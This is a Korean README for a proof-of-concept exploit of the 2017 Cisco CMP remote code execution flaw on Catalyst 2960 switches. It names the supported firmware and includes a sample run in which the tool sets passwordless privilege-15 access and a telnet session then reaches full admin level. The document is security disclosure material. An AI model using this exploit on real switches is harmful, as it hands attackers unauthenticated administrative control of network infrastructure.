
크레딧: artkond
===================
이 저장소는 2017년 3월 17일 Cisco Systems가 공개한 원격 코드 실행 취약점을 악용하기 위한 Proof-Of-Concept 코드를 포함합니다 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
익스플로잇 분석 글은 여기에서 확인할 수 있습니다 - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
RCE 익스플로잇 코드는 Cisco Catalyst 2960 스위치 모델용으로 제공됩니다. 이 익스플로잇은 펌웨어에 종속적입니다. 지원되는 두 가지 펌웨어 버전은 다음과 같습니다:
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
서비스 거부(Denial of Service) 코드는 metasploit ruby 모듈로 제공됩니다. 이는 Cisco 권고에서 언급된 대부분의 스위치에서 작동해야 합니다 (확인 필요).
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Artem Kondratenko https://twitter.com/artkond